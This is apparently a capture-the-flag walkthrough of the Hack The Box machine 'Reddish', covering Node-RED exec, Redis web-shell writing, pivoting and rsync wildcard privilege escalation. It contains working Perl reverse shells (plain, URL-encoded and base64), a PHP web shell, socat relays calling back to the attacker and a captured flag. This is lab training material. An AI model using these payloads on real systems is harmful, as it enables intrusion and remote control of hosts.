Hack-The-Box-walkthrough[reddish]

introduce

OS: Linux
Difficulty: Insane
Points: 50
Release: 21 Jul 2018
IP: 10.10.10.94

User Blood: 00 days, 12 hours, 36 mins, 39 seconds.
Root Blood: 00 days, 19 hours, 28 mins, 48 seconds.

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
5
6
root@kali:~/hackthebox/machine/reddish# nmap -sV -v -p- 10.10.10.94 --min-rate=10000

PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
8181/tcp filtered intermapper
33752/tcp filtered unknown
  • NodeRed - port 1880

NodeRed is a browser based editor to make flows for IoT devices and other technology to talk togetheri, and it runs on tcp 1880 by default.

send a POST with curl, and get back some json data:

1
2
root@kali:~/hackthebox/machine/reddish# curl -X POST http://10.10.10.94:1880
{"id":"96752a0580c49f0f90f8977d70fe318c","ip":"::ffff:10.10.14.5","path":"/red/{id}"}

this may gave me a new path to try, let’s visit following url:

1
http://10.10.10.94:1880/red/96752a0580c49f0f90f8977d70fe318c

On visiting that path, now in the Node-Red editor:

The editor has items grouped as “input”, “output”, “function”, “social”, “storage”, “analysis”, and “advanced”. Clicking on any given item will load a description of the item in the panel on the right.

Items can be dragged into the center pane, and connected with wires. Once my flow is complete, I’ll hit “Deploy”, and the flow is live. Some inputs also have a button on their left side. That item will generate its output when the button is pressed. For example, this “inject” will output a timestamp when the button is pressed.

Code Execution and getShell in Node-Red

In playing around with the editor, built a few useful flows that will help with exploitation of Reddish. Flows show up nicely as images, but can also be imported/exported in json. Just go to the menu, import, clipboard, and paste in the json.

It will initiate the connection when the the flow to output > is sent to stdin of the tcp connection. The TCP connection will come back to me. Then whatever I send back is sent to exec. The output of that is formatted and a prompt is added, and then sent back into the TCP connection, where I’ll receive it. Here’s the export:

1
[{"id":"3f7824bc.483a94","type":"tab","label":"Shell","disabled":false,"info":""},{"id":"9754e73a.fb7f5","type":"tcp request","z":"3f7824bc.483a94","server":"10.10.14.9","port":"9001","out":"sit","splitc":" ","name":"","x":520,"y":80,"wires":[["df9367ea.2fd12"]]},{"id":"df9367ea.2fd12","type":"exec","z":"3f7824bc.483a94","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":170,"y":240,"wires":[["7cd3aeef.1a522"],["7cd3aeef.1a522"],[]]},{"id":"6a48f346.ccad1c","type":"inject","z":"3f7824bc.483a94","name":"","topic":"","payload":"> ","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":191.5,"y":50,"wires":[["9754e73a.fb7f5"]]},{"id":"7cd3aeef.1a522","type":"template","z":"3f7824bc.483a94","name":"results + prompt","field":"payload","fieldType":"msg","format":"handlebars","syntax":"mustache","template":"{{{payload}}}\n> ","output":"str","x":440,"y":240,"wires":[["9754e73a.fb7f5"]]}]

first import the commads then deploy it and click the button , then i recive a shell

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/hackthebox/machine/reddish# nc -lvp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:39270.
> id
uid=0(root) gid=0(root) groups=0(root)

> whoami
root

Callback Shell

In investigating the box, it’s incredibly bare: no python, python3, php, nc, ifconfig, netstat, arp. There is perl though.

I’ll use the perl reverse shell from

  • PentestMonkey

to get a proper callback shell. The exec node runs a command. In this case, I’ll configure it to take input for the port, which is inserted into the middle of the command:

looks like:

1
[{"id":"6fe6b87a.30d988","type":"tab","label":"Reverse_TCP","disabled":false,"info":""},{"id":"6caeb9ad.e39468","type":"inject","z":"6fe6b87a.30d988","name":"9002","topic":"","payload":"9002","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":150,"y":160,"wires":[["97f946aa.853548"]]},{"id":"97f946aa.853548","type":"exec","z":"6fe6b87a.30d988","command":"perl -e 'use Socket;$i=\"10.10.14.9\";$p=","addpay":true,"append":";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'","useSpawn":"false","timer":"","oldrc":false,"name":"perl rev shell","x":350,"y":160,"wires":[["e2dba6a9.bb9fe8"],["e2dba6a9.bb9fe8"],[]]},{"id":"e2dba6a9.bb9fe8","type":"debug","z":"6fe6b87a.30d988","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":570,"y":160,"wires":[]}]

first import the commads then deploy it and click the button , then i recive a shell

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# nc -lvp 9002
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:46916.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

File Upload

Since the box doesn’t have curl or wget or nc, created a file upload flow, that would callback to a given port, and then what it reads to /tmp/.df/upload:

The string “9003” is not used by the TCP node, just there because needed something, and it was a good visual reminder as to what port the flow expected.

nodered Container

Local Enumeration

The local box is quite bare. I’m already running as root. As mentioned before, almost none of programs I’d expect on a linux host are present. Also, none of the IP addresses match 10.10.10.94:

1
2
3
4
5
6
7
8
9
10
11
12
13
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
7: eth1@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth1
valid_lft forever preferred_lft forever
9: eth0@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever

conclude in a container, and didn’t find much else of interest in it.
Since in a container, start tracking what I know about it:

Network Enumeration

It’s fairly clear I need to move outside this container, and since there’s no obvious path to the host, I’ll look around the environment.

  • Check arp

The arp cache shows only the two .1 ips, which are likely the host:

1
2
3
4
# cat /proc/net/arp
IP address HW type Flags HW address Mask Device
172.19.0.1 0x1 0x2 02:42:bc:00:fb:35 * eth1
172.18.0.1 0x1 0x2 02:42:de:ac:1d:ce * eth0
  • nmap Host

uploaded a

  • statically compiled nmap

to check out the .1s:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# ./nmap -p- -sT --min-rate 5000 172.18.0.1

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 10:57 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open unknown
MAC Address: 02:42:1F:A4:77:C3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds
# ./nmap -p- -sT --min-rate 5000 172.19.0.1

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 10:57 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.19.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00013s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp filtered unknown
MAC Address: 02:42:F2:E9:5E:A1 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds
  • Ping Sweep

Next start a ping sweep to look for other hosts/containers, and find two other hosts worth looking at in the 172.19.0.0/24 subnet. Based on my current ifconfig and my assumption about the .1s being the gateway, I can label the output leaving two unknowns:

1
2
3
4
5
6
7
8
# for i in $(seq 1 254); do (ping -c 1 172.18.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done
172.18.0.1 <-- host
172.18.0.2 <-- node-red container
# for i in $(seq 1 254); do (ping -c 1 172.19.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done
172.19.0.2
172.19.0.1 <-- host
172.19.0.3 <-- nodered container
172.19.0.4

got two new hosts to track:

Pivoting

Overview

There’s many ways to set up tunnels to allow my pivot here. A few that come to mind are:

  • Get a meterpreter session with nodered, and use the portfwd capability to tunnel from my local box into the network (like ssh tunneling).

  • Copy an ssh client to nodered, and ssh back into my kali box with a reverse tunnel.

  • Build a listening interface (likely web) with NodeRed, and use that to tunnel traffic.

  • Using software designed for tunneling.

Getting Meterpreter

Open a handler with payload linux/x64/shell/reverse_tcp, and catch a callback from flow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (linux/x64/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 9002 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf5 exploit(multi/handler) > set lhost 10.10.14.9
lhost => 10.10.14.9
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.9:9002
[*] Sending stage (38 bytes) to 10.10.10.94
[*] Command shell session 1 opened (10.10.14.9:9002 -> 10.10.10.94:47014) at 2020-07-25 12:40:43 -0400

id
/bin/sh: 1: j^H��j!Xu�j: not found
/bin/sh: 1: X�H�/bin/shSH��RWH��id: not found

For some reason, the first command run in this new shell can be garbage and fail. After making sure to get that out of the way, I’ll background the session (ctrl-z):

1
2
3
4
# id
uid=0(root) gid=0(root) groups=0(root)
# ^Z
Background session 1? [y/N] y

Metasploit has a built in upgrade path to Meterpreter using sessions -u:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.9:4433
[*] Sending stage (985320 bytes) to 10.10.10.94
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 exploit(multi/handler) > [*] Meterpreter session 2 opened (10.10.14.9:4433 -> 10.10.10.94:50690) at 2020-07-25 12:41:29 -0400

msf5 exploit(multi/handler) >
[*] Stopping exploit/multi/handler

msf5 exploit(multi/handler) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/linux /bin/sh: 0: can't access tty; job control turned off # 10.10.14.9:9002 -> 10.10.10.94:47014 (10.10.10.94)
2 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 172.18.0.2 10.10.14.9:4433 -> 10.10.10.94:50690 (172.18.0.2)

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

www redis Containers

Note About IPs

One thing to note - on each reset / boot, Docker seems to randomize the IP addresses of the three containers, nodered, www, and redis. They always seem to be .2, .3, and .4, but which is which is something I need to determine each time. For the sake of this post, I’m working with redis as .2, nodered as .3, and www as .4.

nmap

Get an nmap scan of these two new hosts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# ./nmap -p- -sT --min-rate 5000 172.19.0.2

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 11:19 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_redis_1.reddish_composition_internal-network (172.19.0.2)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
6379/tcp open unknown
MAC Address: 02:42:AC:13:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds
# ./nmap -p- -sT --min-rate 5000 172.19.0.4

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-24 11:19 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_www_1.reddish_composition_internal-network (172.19.0.3)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 02:42:AC:13:00:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds

can see the docker names, reddish_composition_redis_1 and reddish_composition_www_1, and the listening ports which fit for each server, 6379 for redis, and 80 for www.

Web Site

  • Access
    I’ll use the meterpreter shell to port forward localhost 80 through the session to 172.19.0.3:
1
2
meterpreter > portfwd add -l 80 -r 172.19.0.3 -p 80
[*] Local TCP relay created: :80 <-> 172.19.0.3:80

Visiting http://127.0.0.1/ gives the page:

  • Javascript
    Much more interesting than the displayed page is the javascript in the source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Reddish</title>
<script src="assets/jquery.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function () {
incrCounter();
getData();
});

function getData() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
cache: false,
dataType: "text",
success: function (data) {
console.log("Number of hits:", data)
},
error: function () {
}
});
}

function incrCounter() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
cache: false,
dataType: "text",
success: function (data) {
console.log("HITS incremented:", data);
},
error: function () {
}
});
}

/*
* TODO
*
* 1. Share the web folder with the database container (Done)
* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
* ...Still don't know how to complete it...
*/
function backupDatabase() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
cache: false,
dataType: "text",
success: function (data) {
console.log("Database saved:", data);
},
error: function () {
}
});
}
</script>
</head>
<body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body>
</html>

There’s two important take-aways from this source:

  • 1.There are ajax calls to 8924d0549008565c554f8128cd11fda4/ajax.php. Based on the parameters values for the text of get hits and incr hits (which look like redis commands), I can hypothesize that these commands are executed on the redis database.

  • There’s some self-proclaimed incomplete code having to do with backing up that database. It does indicate that the web folder is shared with the database container.

I can also test out these function in the firefox debug console:

1
2
3
4
5
6
7
8
13:17:49.521 getData()
13:17:49.668 undefined
13:17:51.757 Number of hits: 1 127.0.0.1:19:20
13:17:59.877 incrCounter()
13:17:59.884 undefined
13:18:05.446 getData()
13:18:05.453 undefined
13:18:07.953 Number of hits: 2

What about trying to exercise the backup function? Visiting

1
http://127.0.0.1/8924d0549008565c554f8128cd11fda4/ajax.php?backup=/etc/passwd

eventually has a timeout, which makes sense since the comments said it was not yet implemented:

1
Fatal error: Uncaught Exception: Cant read line from socket. in /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php:74 Stack trace: #0 /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php(101): Client->readLine() #1 /var/www/html/8924d0549008565c554f8128cd11fda4/ajax.php(9): Client->sendCmd(NULL) #2 {main} thrown in /var/www/html/8924d0549008565c554f8128cd11fda4/lib/Client.php on line 74

This error message does give me the absolute web path, which is the default apache path

1
/var/www/html

Database

So I can do some interaction with the database through the website and JavaScript… But I can also interact directly with the Redis database.
Just like with www, I’ll use meterpreter to set up a tunnel into the subnet with www and redis:

1
2
meterpreter > portfwd add -l 6379 -r 172.19.0.4 -p 6379
[*] Local TCP relay created: :6379 <-> 172.19.0.4:6379

do basic enumeration with nc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# nc 127.0.0.1 6379
get hits
$1
2
incr hits
:3
get hits
$1
3
incr hits
:4
get hits
$1
4

install redis-cli for interaction with the db:

apt-get install redis-tools

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~# redis-cli   # by default, connects to localhost 6379
127.0.0.1:6379> incr hits
(integer) 5
(0.58s)
127.0.0.1:6379> incr hits
(integer) 6
(0.57s)
127.0.0.1:6379> incr hits
(integer) 7
(0.58s)
127.0.0.1:6379> get hits
"7"
(0.63s)

WebShell

This post on PacketStorm details how I can use Redis to write arbitrary files on disk. I can flush the database, write some data into it, and then back it up to a target location. The article talks about writing an SSH key. SSH isn’t enabled here, but, because I know that the database server shares disk space with www, I can write a web shell.

  • Exploit Limitations

This isn’t by any means perfect. For example, the database will compress repeated text patterns, so could I lose some of the text I want to write. So for example, when I tried to write
into multiple places in a php file, only the first actually made it through as desired. Even if I tried using
and
, the second <br was replaced with binary data. Similarly, when I wrote a command to get a perl reverse shell, the pattern ,”>&S”); was replaced and thus broke the script.

  • Exploit to WebShell
    Luckily for me, I can write a simple php webshell, and there’s no repeats, and php doesn’t care about garbage before or after the shell.

Steps (all in redis-cli):

  • flush the database
  • write shell to database
  • set directory
  • set filename
  • save
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~# cat redis.txt 




<?php system($_REQUEST['cmd']); ?>




root@kali:~# redis-cli -h 127.0.0.1 flushall
OK
root@kali:~# cat redis.txt | redis-cli -x set crackit
OK
root@kali:~# redis-cli
127.0.0.1:6379> config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
OK
(0.60s)
127.0.0.1:6379> config set dbfilename "df.php"
OK
(0.60s)
127.0.0.1:6379> save
OK
(0.58s)

Now check out http://127.0.0.1/8924d0549008565c554f8128cd11fda4/df.php?cmd=id:

1
REDIS0008� redis-ver4.0.9� redis-bits�@�ctime�}_�used-mem¨? �aof-preamble���crackit+ uid=33(www-data) gid=33(www-data) groups=33(www-data) ��Z",���

hostname shows the host is named www:

1
REDIS0008� redis-ver4.0.9� redis-bits�@�ctime�}_�used-mem¨? �aof-preamble���crackit+ www ��Z",���

Script Redis WebShell

The files in the web directory seem to be cleared out every 3 minutes (I’ll confirm this soon), so scripted the upload:

upload_shell.sh

1
2
3
4
5
6
7
#!/bin/sh

redis-cli -h 127.0.0.1 flushall
cat redis.txt | redis-cli -h 127.0.0.1 -x set crackit
redis-cli -h 127.0.0.1 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
redis-cli -h 127.0.0.1 config set dbfilename "df.php"
redis-cli -h 127.0.0.1 save

then run the script:

1
2
3
4
5
6
root@kali:~/hackthebox/machine/reddish# ./upload_shell.sh 
OK
OK
OK
OK
OK

Interactive Shell

  • Connectivity socat

It doesn’t look like I can connect all the back to kali from this host. which ping returns /bin/ping, but trying to ping 10.10.14.9 doesn’t result in anything when watching in tcpdump. When I try to ping 172.19.0.3 (nodered), I get results

So I need to pivot through nodered. I’ll upload a static copy of socat to the box using the Node-Red flow for upload. Now I can use socat one of two ways:

  • Relay traffic through nodered back to kali
  • Catch the callback on nodered

do the first one, so in the shell on nodered, create a tunnel:

1
2
3
# pwd
/tmp
# ./socat tcp-listen:223,fork tcp:10.10.14.9:223 &

That will run in the background, and forward any traffic that hits port 223 on nodered to my workstation on port 223.

  • Execution
    And, like nodered, there’s a limited toolset available. Luckily, perl is still present (a phrase I never thought I’d say).

To get this working, it took a fair amount of playing with the url encoding. In the end, I had success by visiting the following url in a browser:

1
http://127.0.0.1/8924d0549008565c554f8128cd11fda4/df.php?cmd=perl%20-e%20%27use%20Socket%3b$i%3d%22172.19.0.2%22%3b$p%3d223%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(%22tcp%22))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,%22%3E%26S%22)%3bopen(STDOUT,%22%3E%26S%22)%3bopen(STDERR,%22%3E%26S%22)%3bexec(%22/bin/sh+-i%22)%3b}%3b%27

then we got the shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@kali:~# nc -lvp 223
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::223
Ncat: Listening on 0.0.0.0:223
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:50210.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.3/16 brd 172.19.255.255 scope global eth0
valid_lft forever preferred_lft forever
13: eth1@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.2/16 brd 172.20.255.255 scope global eth1
valid_lft forever preferred_lft forever
$ ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Jul 16 2018 .
drwxr-xr-x 5 root root 4096 Jul 15 2018 ..
lrwxrwxrwx 1 root root 9 Jul 16 2018 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Apr 23 2018 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Apr 23 2018 .bashrc
-rw-r--r-- 1 1000 1000 655 Apr 23 2018 .profile
-r-------- 1 1000 1000 33 Apr 23 2018 user.txt

ajax.php, which shows the commands running at the redis server:

1
2
3
4
5
6
7
8
9
10
11
12
$ cat ajax.php
<?php

require_once 'lib/Autoloader.php';
Autoloader::register();
$json = new JsonResult();
$config = new Config();
foreach ($config->getPool() as $key => $server) {
$client = new Client($server);
$result = $client->sendCmd($_GET['test']);
echo $result;
}

Privesc www-data to usertxt

Identifying Backup Cron

To get to user.txt, I’ll need to privesc. Looking around the box, there wasn’t a ton going on, so I decided to look for interesting processes starting and stopping. I’ve been a huge fan of pspy in the past for this, but since I’m two hops deep at this point, I’ll just using a bash script:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

IFS=$'\n'

old=$(ps -eo command)
while true; do
new=$(ps -eo command)
diff <(echo "$old") <(echo "$new") | grep [\<\>]
sleep .3
old=$new
done

Running it shows some interesting scripts being run about every 3 minutes:

1
2
3
4
5
6
$ ./proc.sh
> /usr/sbin/CRON
> /bin/sh -c sh /backup/backup.sh
> sh /backup/backup.sh
> rsync -a rsync://backup:873/src/backup/ /var/www/html/
> rsync -a rsync://backup:873/src/backup/ /var/www/html/

Looking at /backup/backup.sh, it is saving the database, then removing the web folders and bringing them back in from a host named backup:

1
2
3
4
5
6
$ cat /backup/backup.sh
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
  • Exploiting the Wildcard

I can exploit the command rsync -a *.rdb rsync://backup:873/src/rdb, specifically the wildcard character. Because of how Unix handles wildcards, I can create a file named -e sh p.rdb, and that will evaluate to run sh p.rdb. The technique is detailed here.

I’ll first set up a tunnel on nodered:

1
# ./socat tcp-listen:9010,fork tcp:10.10.14.9:9010 &

Now write a perl reverse shell into a file and create the other file to run it. I’ll use base64 to easily move small files back and forth:

1
2
3
4
5
6
7
root@kali:~/hackthebox/machine/reddish# cat shell.txt 
perl -e 'use Socket;$i="172.19.0.2";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
root@kali:~/hackthebox/machine/reddish# cat shell.txt | base64
cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuMiI7JHA9OTAxMDtzb2NrZXQoUyxQRl9J
TkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2th
ZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQs
Ij4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg==

I’ll create my reverse shell script as p.rdb, and then create the file that will call that abusing the wildcard with touch:

1
2
$ echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuMiI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/p.rdb
$ touch /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/-e\ sh\ p.rdb

When the cron runs, I’ll catch a callback as root on www when the backup script runs:

and grab user.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~# nc -lvp 9010
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9010
Ncat: Listening on 0.0.0.0:9010
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:54802.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# pwd
/var/www/html/f187a0ec71ce99642e4f0afbd441a68b
# cd /home
# ls
bergamotto
lost+found
somaro
# cd somaro
# ls
user.txt
# cat user.txt
c09aca7cb02c968b1e9637d51661f129

File Upload to www

To move to the next steps, I’ll want to get files uploaded to www, which is challenging without curl, wget, or nc. Here’s how I do it:

Start a tunnel on nodered that will listen (in this case on 8080) and forward that to my host:

1
# ./socat TCP-LISTEN:8080,fork TCP:10.10.14.9:8888 &

Use perl to request file:

1
# perl -e 'use File::Fetch; my $url = "http://172.19.0.2:8080/socat"; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'

Serve from workstation:

1
2
3
root@kali:~/hackthebox/machine/reddish# python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.94 - - [25/Jul/2020 16:39:20] "GET /socat HTTP/1.1" 304 -

backup Container

Enumeration

The backup script not only provides a path to root on www, but it also tells me about another host, backup. If I ping -c 1 backup, I’ll see it resolves to 127.20.0.2. I’ll upload nmap to www and see what’s open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ./nmap -p- --min-rate 5000 172.20.0.3

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-25 12:36 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000034s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
873/tcp open rsync
MAC Address: 02:42:AC:14:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 22.23 seconds

open on 873, rsync, which is how www was connecting to it.

I’ll update my diagram:

rsync access

rsync gives me full read and write access to backup. I can read the file system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# rsync rsync://backup:873/src
drwxr-xr-x 4,096 2018/07/15 17:42:39 .
-rwxr-xr-x 0 2018/05/04 21:01:30 .dockerenv
-rwxr-xr-x 100 2018/05/04 19:55:07 docker-entrypoint.sh
drwxr-xr-x 4,096 2018/07/15 17:42:41 backup
drwxr-xr-x 4,096 2018/07/15 17:42:39 bin
drwxr-xr-x 4,096 2018/07/15 17:42:38 boot
drwxr-xr-x 4,096 2018/07/15 17:42:39 data
drwxr-xr-x 3,720 2020/07/25 14:50:42 dev
drwxr-xr-x 4,096 2018/07/15 17:42:39 etc
drwxr-xr-x 4,096 2018/07/15 17:42:38 home
drwxr-xr-x 4,096 2018/07/15 17:42:39 lib
drwxr-xr-x 4,096 2018/07/15 17:42:38 lib64
drwxr-xr-x 4,096 2018/07/15 17:42:38 media
drwxr-xr-x 4,096 2018/07/15 17:42:38 mnt
drwxr-xr-x 4,096 2018/07/15 17:42:38 opt
dr-xr-xr-x 0 2020/07/25 14:50:42 proc
